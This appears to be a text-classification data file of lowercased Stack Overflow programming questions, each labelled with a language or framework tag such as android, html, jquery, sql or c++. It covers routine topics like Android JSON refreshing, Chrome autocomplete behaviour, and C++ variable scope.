this is how to tried hide it    <pre><code>  calnederlistview.setonscrolllistener(new abslistview.onscrolllistener() {             @override             public void onscrollstatechanged(abslistview abslistview  int i) {              }              @override             public void onscroll(abslistview abslistview  int i  int i1  int i2) {                 if (i&gt;0)                 {                     tabs.setvisibility(view.gone);                 }else                 {                     tabs.setvisibility(view.visible);                 }               }         }); </code></pre>,android
how is expando object internally implemented  i am really curious to know how the expando object in .net 4.0 has been internally implemented,.net
debugging windows forms application that accepts command line arguments in visual studio  i created the application in windows forms that checks  if it contains specific command line arguments and acts accordingly.    now i would like to test/debug my code with different command lines arguments.    i entered command line arguments by clicking on my project and choosing properties/debug. but when i start the debugging  i receive following message   <blockquote>    the current project settings specify that the project will be debugged    with specific security permissions. in this mode  command line arguments will not be passed to the executable.  </blockquote>   in properties/security  <em> this is full trust application </em> is selected  so i am not sure why it is complaining.,.net
why is google chrome autocomplete not disabled in this example   here is a rough  save as  from a basic contact details web app that i am using:    <a href= http://dtbaker.net/files/webfiles/auto-complete-issues.html  rel= nofollow noreferrer >http://dtbaker.net/files/webfiles/auto-complete-issues.html</a>    whenever i am on a  contact  page it puts my saved username into the  new group  box and my saved password into the  set password  box  as shown in this screenshot:    <img src= https://i.stack.imgur.com/zf9xz.jpg  alt= screenshot of autocomplete error >    as you can see in the html code linked above  the non-standard autocomplete=off attribute is used on the  group  input box:   <pre><code>&lt;input type= text  name= group_module_name[user][new]  autocomplete= off &gt; </code></pre>   and it s even in the password input box:   <pre><code>&lt;input type= password  name= password_new  autocomplete= off  value=  &gt; </code></pre>   the problem here is that every time i click  save contact  it will overwrite this contacts password with my saved password and create a new contact group named the same as my username.    ideas anyone,html
auto refresh in text view  i am new to android. here i am trying to make one application which get data from web in json and display it when i am trying to refresh activity automatically it displays both data old and new both pls help me.     <pre><code>@override public void oncreate(bundle savedinstancestate)  {     super.oncreate(savedinstancestate);     setcontentview(r.layout.main);     resultview1=(textview) findviewbyid(r.id.team1_1);     resultview2=(textview) findviewbyid(r.id.team1_2);     resultview3=(textview) findviewbyid(r.id.date);     resultview4=(textview) findviewbyid(r.id.comm1);     resultview5=(textview) findviewbyid(r.id.team2_1);     resultview6=(textview) findviewbyid(r.id.team2_2);     resultview7=(textview) findviewbyid(r.id.comm2);     resultview8=(textview) findviewbyid(r.id.team3_1);     resultview9=(textview) findviewbyid(r.id.team3_2);     resultview10=(textview) findviewbyid(r.id.comm3);     resultview11=(textview) findviewbyid(r.id.team4_1);     resultview12=(textview) findviewbyid(r.id.team4_2);     resultview13=(textview) findviewbyid(r.id.comm4);         new backhelper().execute();     //mhandler();   }  /*private void mhandler()  {     // todo auto-generated method stub     mhandler.postdelayed(updatetask  15000); } */      public void  getdata1() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s1= s1 +                      name :  +json.getstring( t1 )+ \n + run :  +json.getint( t1_r )+ / +json.getint( t1_w )+ \n +                         over :  +json.getint( t1_0 );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }      public void  getdata2() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s2= s2 +                      name :  +json.getstring( t2 )+ \n + run :  +json.getint( t2_r )+ / +json.getint( t2_w )+ \n +                         over :  +json.getint( t2_o );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }    public void  getdata3() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s3= s3                      +json.getstring( date );           }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }     public void  getdata4() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s4= s4                      +json.getstring( comm );           }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }    public void  getdata5() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team2.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s5= s5 +                      name :  +json.getstring( t1 )+ \n + run :  +json.getint( t1_r )+ / +json.getint( t1_w )+ \n +                         over :  +json.getint( t1_0 );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }   public void  getdata6() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team2.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s6= s6 +                      name :  +json.getstring( t2 )+ \n + run :  +json.getint( t2_r )+ / +json.getint( t2_w )+ \n +                         over :  +json.getint( t2_o );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }    public void  getdata7() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team2.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s7= s7+json.getstring( comm );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }    public void  getdata8() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team3.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s8= s8 +                      name :  +json.getstring( t1 )+ \n + run :  +json.getint( t1_r )+ / +json.getint( t1_w )+ \n +                         over :  +json.getint( t1_0 );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }    public void  getdata9() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team3.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s9= s9 +                      name :  +json.getstring( t2 )+ \n + run :  +json.getint( t2_r )+ / +json.getint( t2_w )+ \n +                         over :  +json.getint( t2_o );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }  public void  getdata10() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team3.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s10= s10 +json.getstring( comm );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }   public void  getdata11() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team4.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s11= s11 +                      name :  +json.getstring( t1 )+ \n + run :  +json.getint( t1_r )+ / +json.getint( t1_w )+ \n +                         over :  +json.getint( t1_0 );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }  public void  getdata12() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team4.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s12= s12 +                      name :  +json.getstring( t2 )+ \n + run :  +json.getint( t2_r )+ / +json.getint( t2_w )+ \n +                         over :  +json.getint( t2_o );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } }    public void  getdata13() {     string result =   ;     inputstream isr = null;     try{         httpclient httpclient = (httpclient) new defaulthttpclient();         httpget httpget = new httpget( http://www.3gsngarbagroup.com/master/team4.php );         httpresponse response = httpclient.execute(httpget);         httpentity entity = response.getentity();         isr= entity.getcontent();     }     catch(exception e)     {         log.e( log_tag    error in http connection +e.tostring());         //resultview.settext( could not connect to database );     }     try     {         bufferedreader reader = new bufferedreader(new inputstreamreader(isr  iso-8859-1 ) 8);         stringbuilder sb = new stringbuilder();         string line = null;         while((line = reader.readline()) !=null)         {             sb.append(line +  \n );         }         isr.close();         result=sb.tostring();     }     catch(exception e){         log.e( log_tag   error converting result +e.tostring());     }     try{         jsonarray jarray = new jsonarray(result);         for(int i=0; i&lt;jarray.length();i++)         {             jsonobject json = jarray.getjsonobject(i);             s13= s13 +json.getstring( comm );          }          //resultview.settext(s);      }catch (exception e){         log.e( log_tag   error parsing data +e.tostring());      } } </code></pre>   /*private handler mhandler = new handler();   <pre><code>private runnable updatetask = new runnable ()  {     public void run()      {         log.d(getstring(r.string.app_name) +   chatlist.updatetask()                    updatetask run! );                      // run any code here...         //getdata();         new backhelper().execute();         log.e( hell    hello );         // queue the task to run again in 15 seconds...         mhandler.postdelayed(updatetask  15000);     } };*/ /*private final static int interval=1000; handler mhandler;  runnable mhandlertask=new runnable() {      public void run() {         // todo auto-generated method stub          new backhelper().execute();          mhandler.postdelayed(mhandlertask  interval);     } }; void startrepeatingtask() {     mhandlertask.run(); } void stoprepeatingtask() {     mhandler.removecallbacks(mhandlertask); }*/       class backhelper extends asynctask&lt;void  void  void&gt; {      @override     protected void doinbackground(void... params)      {         getdata1();         getdata2();         getdata3();         getdata4();         getdata5();         getdata6();         getdata7();         getdata8();         getdata9();         getdata10();         getdata11();         getdata12();         getdata13();            return null;     }      @override     protected void onpostexecute(void result) {         // todo auto-generated method stub         super.onpostexecute(result);         //super.onpostexecute(result1);         resultview1.settext(s1);         resultview2.settext(s2);         resultview3.settext(s3);         resultview4.settext(s4);         resultview5.settext(s5);         resultview6.settext(s6);         resultview7.settext(s7);         resultview8.settext(s8);         resultview9.settext(s9);         resultview10.settext(s10);         resultview11.settext(s11);         resultview12.settext(s12);         resultview13.settext(s13);        }       } </code></pre>   },android
interface  abstract class or another approach java  i have objects res1 and res2.   <pre><code>public class res1 {     public string foo1;     public string foo2; }     public class res2 {     public string foo3;     public string foo4 } </code></pre>   i also have an object <code>response</code>   <pre><code>public class response {     public resmsg res;     public string code;     public string error; } </code></pre>   <code>res1</code> and <code>res2</code> need to be of type <code>resmsg</code>.    should i create an empty abstract class    <pre><code>public abstract class resmsg {  } </code></pre>   and have both <code>res1</code> and <code>res2</code> extend this class  or  should i create an empty interface and then<br> have them implement this interface.      having an empty interface or an abstract class seems like an odd thing. what is the best way to do this     <strong>edit</strong>    i am working on a web service that is passing data from one web service to another. in order to better troubleshoot end to end issues i want to create a common <code>response</code> that will encapsulate responses like <code>res1</code> and <code>res2</code> (original responses that i am getting from the back-end)  and add fields <code>code</code> and <code>error</code>.,java
use of new in c++  let s assume i pass a new object to a function like this:   <pre><code>loadcontainer-&gt;addcontrolview( new bmpview( bmp_picture ) ); </code></pre>   now  i want to change a specific characteristic of the bmpview before i pass it to addcontrolview. the way i do this is like this:   <pre><code>control* newview = new bmpview( bmp_picture ); newview-&gt;changecolor( white ); loadcontainer-&gt;addcontrolview( newview ); </code></pre>   does this create an extra temporary/local object  or is there an equal amount of memory allocated in both cases,c++
how to make email sending options  what i want to achieve is   when i click my contact us link a pop up should open which says  this link needs to be opened with an application . an below there should be options for opening the link using either gmail or outlook or yahoo.,html
centering an image link with html and no css  i am trying to center an image using only html and no css  is this possible  i have tried the following code:   <pre><code>&lt;a href= link &gt; &lt;img src= url  align= center &gt;&lt;/a&gt; </code></pre>   however the image doesn t move. how can i solve this     the image i am trying to center is the donate button on the right column of our <a href= https://wewanttolearn.wordpress.com/  rel= nofollow >blog</a> i am placing the link in a  text  widget so the css doesn t seem to work there.,html
multiple onclick events in c#  i want to ask if i have multiple labels with same function onclick but with different parameters. how i can handle them without make 30 methods. i want to make a-z filter in windows forms application with c#. i have label for each character (a b c d.... z). also i have treeview with data from db.   <pre><code>private void labelletter1_click(object sender  eventargs e) {     //this.labelletter1.text     // get value of the label and refresh treeview } </code></pre>   i want to make this on every characters but without repeat same code.,c#
how to separate clicks with jquery  i have a div like this...   <pre><code>&lt;div class= user &gt;      &lt;div class= info &gt;      .....      &lt;/div&gt;      &lt;div class= edit &gt;         edit      &lt;/div&gt; &lt;/div&gt; </code></pre>   on jquery i have something like this:   <pre><code> $( user ).click(function(){...});  $( edit ).click(function(){...}); </code></pre>   if i click on  edit  both functions execute  i dont want that  if i click on  edit  only his function should happen. any ideas on how to separate this 2 functions     thanks,jquery
access service inside controller  declared a service   <pre><code>calculator_app.service( fullpath   function () {     this.full_path = function (pt  pg  prt  cd scpe) {  -- some logic--- };}); </code></pre>   declared the controller   <pre><code>calculator_app.controller( opportunity_controller   [ $scope    $http    ngdialog    fullpath    fillopportunity   function ($scope  fullpath  fillopportunity  $http  ngdialog) {          $scope.find_path = function () {             $scope.result_path = fullpath.full_path($scope.res_pt  $scope.res_pg  $scope.res_prt  $scope.res_cd  $scope); }]); </code></pre>   the line fullpath.full_path is throwing error as fullpath is undefined....,angularjs
sql divide by zero error  nullif not helping  i am trying to work out this statement but can t get anywhere.     from what i have found so far  i think i need to use an <code>nullif</code> clause for each divisor  but when i try and do this it still does not work.    here is the statement with no <code>nullif</code> s that produces a divide by zero error.   <pre><code>(1 - (1 - (x1.hup / (x1.hup / (x1.dp / 100)))) / (1 - (x2.sdp / 100))) </code></pre>,sql
multi-dimensional array sort first and second  i m using a function called <code>subval_sort</code> to sort a multi-dimensional array.   <pre><code>function subval_sort($a $subkey) {   foreach($a as $k=&gt;$v) {     $b[$k] = strtolower($v[$subkey]);   }   asort($b);   foreach($b as $key=&gt;$val) {     $c[] = $a[$key];   }   return $c; }  $songs =  array(      1  =&gt; array( artist =&gt; bing crosby    songname =&gt; white christmas )       2  =&gt; array( artist =&gt; elvis presley    songname =&gt; white christmas )       3  =&gt; array( artist =&gt; abba    songname  =&gt; waterloo ) );  $songs = subval_sort($songs  songname );  print_r($songs); </code></pre>   works fine. now i want to sort by songname as first and artist as second. so: if two (or more) songname-values are the same i want to sort by artist. like in sql: order by songname  artist.    do you have any ideas how to solve it,php
mysql query for returning overall ranks  i have a users table with the following data:   <pre> +----+------------+--------------+--------------+--------------+ | id | name       | points_game1 | points_game2 | points_game3 | +----+------------+--------------+--------------+--------------+ |  1 | player 1   |           10 |            0 |            5 | |  2 | player 2   |            0 |           25 |            0 | |  3 | player 3   |           30 |            3 |            0 | |  4 | player 4   |            0 |            0 |           20 | +----+------------+--------------+--------------+--------------+ </pre>   i want to be able to show overall ranks  where the ranking is defined as the overall highest score rather than a ranking per game.  so in the example above  what query would i use to display this result:   <pre> +----+------------+-------+----------------+ | id | name       | score | game           | +----+------------+-------+----------------+ |  3 | player 3   |    30 | points_game1   | |  2 | player 2   |    25 | points_game2   | |  4 | player 4   |    20 | points_game3   | |  1 | player 1   |    10 | points_game1   | +----+------------+-------+----------------+ </pre>,mysql
variable declaration in c++  when i run the following c++ code   <pre><code>#include&lt;iostream&gt;  int main() {    for(int i=1;i&lt;=10;i++)    {        cout&lt;&lt;i&lt;&lt;endl;    }    cout&lt;&lt;i;     getch();    return 0; } </code></pre>   i get result from no. 1 to 11.    i don t understand why the value of i = 11 after the block of for loop is finished please give me the reason.i have declared i inside for loop and scope of i has been finished after loop so why i get the outpout i=11 after execute second cout statement .i have not declared i in the variable declaration inside main.my question is that is i is visible outside of for loop  thanks in advance.,c++
how can i delete the the particular ul tag based on id in a div   on click of a button i need to remove a particular ul tag    this is my fiddle    <a href= http://jsfiddle.net/tdzfhzjy/54/  rel= nofollow >http://jsfiddle.net/tdzfhzjy/54/</a>    this is my code    <pre><code>&lt;div role= main  class= ui-content oms-content &gt;     &lt;div class= myactivelabelswrap  id= result &gt;         &lt;div data-role= collapsible  data-inset= false &gt;              &lt;h3&gt;heading 1&lt;a class= icon-pencil-1 labelediticon  data_attr= 123  &gt;edit&lt;/a&gt;&lt;/h3&gt;              &lt;ul data-role= listview  labellistulid= 48  class= labellistul ui-listview &gt;                 &lt;li class= labellist   ui-li-static ui-body-inherit ui-first-child ui-last-child &gt;                     &lt;div class= leftlable &gt;                         &lt;p class= minorder &gt;min. order rs. 25/- delivery charges 21.11&lt;/p&gt;                     &lt;/div&gt;                     &lt;div class= rightlable &gt; &lt;a href= #  class= ui-link removerestaurant  data_vendor_id= 5000821693  data_loc_name= location1  data_ven_availability_id= 46 &gt;remove&lt;/a&gt;                      &lt;/div&gt;                 &lt;/li&gt;             &lt;/ul&gt;             &lt;ul data-role= listview  labellistulid= 47  class= labellistul ui-listview &gt;                 &lt;li class= labellist   ui-li-static ui-body-inherit ui-first-child ui-last-child &gt;                     &lt;div class= leftlable &gt;                         &lt;p class= minorder &gt;min. order rs. 25/- delivery charges 21.11&lt;/p&gt;                     &lt;/div&gt;                     &lt;div class= rightlable &gt; &lt;a href= #  class= ui-link removerestaurant  data_vendor_id= 5000821693  data_loc_name= location1  data_ven_availability_id= 46 &gt;remove&lt;/a&gt;                      &lt;/div&gt;                 &lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;     &lt;/div&gt; </code></pre>  <pre class= lang-js prettyprint-override ><code>$(document).on( click    .removerestaurant   function (event) {     var labellist_id = $(this).closest( .labellistul ).attr( labellistulid );      deltethislabel(labellist_id);  });  function deltethislabel(labellist_id) {     // do an ajax call if its success then remove it      $( #result ).find( #  + labellist_id +   .labellistul ).remove(); } </code></pre>   could you please let me know how to do this,jquery
insert new element in the <body> with jquery  i want some help for someone about how to insert a new element in a body of document using jquery.    i´m recover the body with:   <pre><code>var a = $(editorframe).contents().find( body ).html(); </code></pre>   then  i need to verify that the body has the element <code>&lt;p&gt;&lt;/p&gt;</code>  with it doesn´t  i have to put this element after the first <code>&lt;div&gt;</code>. here is my body   <pre><code>&lt;body&gt; &lt;div id= testefooter  class= footer-element &gt;     &lt;table id= footerdiv  class= mceitemtable  width= 100% &gt;         &lt;tbody&gt;             &lt;tr&gt;                 &lt;td id= footercontent &gt;                     &lt;b&gt;digite aqui o seu rodap&amp;#233;&lt;/b&gt;                 &lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;     &lt;/table&gt; &lt;/div&gt; &lt;div id= testeheader  class= header-element &gt;     &lt;table id= headerdiv  class= mceitemtable  width= 100% &gt;         &lt;tbody&gt;             &lt;tr&gt;                 &lt;td id= headercontent &gt;                     &lt;b&gt;digite aqui o seu cabe&amp;#231;alho&lt;/b&gt;                 &lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;     &lt;/table&gt; &lt;/div&gt;     &lt;p&gt;essse modelo teste&lt;/p&gt; &lt;/body&gt; </code></pre>   i just need to know how i can put a new element after the first  on the body.    thank´s a bunch with you can help me!,jquery
angularjs data binding input vs non-input elements  what is the difference in angularjs data-binding when binding a <code>model to an input</code> vs binding a <code>model with a non-input</code> element (e.g. div),angularjs
instantiationexception only in release apk  application is crashing on launch. debug apk is working fine but release apk is facing this issue. can anyone help    <pre><code>03-29 10:22:55.725 31420-31420/np.com.drac.ghtweather e/androidruntime: fatal exception: main     process: np.com.drac.ghtweather  pid: 31420     java.lang.runtimeexception: unable to instantiate application np.com.drac.ghtweather.ghtapp: java.lang.instantiationexception: java.lang.class&lt;np.com.drac.ghtweather.ghtapp&gt; cannot be instantiated         at android.app.loadedapk.makeapplication(loadedapk.java:977)         at android.app.activitythread.handlebindapplication(activitythread.java:6030)         at android.app.activitythread.-wrap1(unknown source:0)         at android.app.activitythread$h.handlemessage(activitythread.java:1764)         at android.os.handler.dispatchmessage(handler.java:105)         at android.os.looper.loop(looper.java:164)         at android.app.activitythread.main(activitythread.java:6938)         at java.lang.reflect.method.invoke(native method)         at com.android.internal.os.zygote$methodandargscaller.run(zygote.java:327)         at com.android.internal.os.zygoteinit.main(zygoteinit.java:1374)      caused by: java.lang.instantiationexception: java.lang.class&lt;np.com.drac.ghtweather.ghtapp&gt; cannot be instantiated         at java.lang.class.newinstance(native method)         at android.app.instrumentation.newapplication(instrumentation.java:1108)         at android.app.instrumentation.newapplication(instrumentation.java:1093)         at android.app.loadedapk.makeapplication(loadedapk.java:971)         at android.app.activitythread.handlebindapplication(activitythread.java:6030)          at android.app.activitythread.-wrap1(unknown source:0)          at android.app.activitythread$h.handlemessage(activitythread.java:1764)          at android.os.handler.dispatchmessage(handler.java:105)          at android.os.looper.loop(looper.java:164)          at android.app.activitythread.main(activitythread.java:6938)          at java.lang.reflect.method.invoke(native method)          at com.android.internal.os.zygote$methodandargscaller.run(zygote.java:327)          at com.android.internal.os.zygoteinit.main(zygoteinit.java:1374)  </code></pre>,android
use textbox for date picker iphone developmnt  i am using a uiview to show a form with a text box(text)  text box (want to attache this with datepicker) and text box (attach this wit picker to select multiple values)    i want to show date picker on click on text box but when i click on the texbox it start showing the keyboard at bottom.    will it be good to use read only textbox for date picker value or should i user table view for my form. please suggest a link for that,iphone
"how to shorten conditional statements in javascript  i have a very long conditional statement like the following: how to shorten condition statements in javascript      <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var str = document.getelementsbyclassname( label );
 for(var i = 0; i&lt;str.length; ++i){
 if(str[i].innerhtml ===  us  || str[i].innerhtml ===  vn || str[i].innerhtml ===  war ...){
 str[i].style.display =  none ;}}</code></pre>
 </div>
 </div>",javascript
getting errors in nserror code  am getting errors in this piece of code; i have placed the error messages in the comments. can t figure it out.    thanks in advance.   <pre><code>#import &lt;foundation/foundation.h&gt;  int main (int argc  const char * argv[]) {      @autoreleasepool {          nsmutablestring *str = [[nsmutablestring alloc]init];         for (int i = 0; i &lt; 10; i++) {         [str appendstring:@ aaron is cool!\n ];         }          // declare a pointer to an nserror object  but don t instantiate it.         // the nserror instance will only be created if there is  in fact  an error.         nserror *error = nil;          // pass the error pointer by reference to the nsstring method         bool success =[str writetofile:@ /tmp/cool.txt ; // expected  ]            atomically:yes // bad receiver type  int              encoding:nsutf8stringencoding                 error:&amp;error];          // test the returned bool  and query the nserror if the write failed         if (success) {         nslog(@ done writing /tmp/cool.txt );         } else {         nslog(@ writing /tmp/cool/txt failed:@   error localizeddescription); //    expected  )          }      }     return 0; } </code></pre>,objective-c
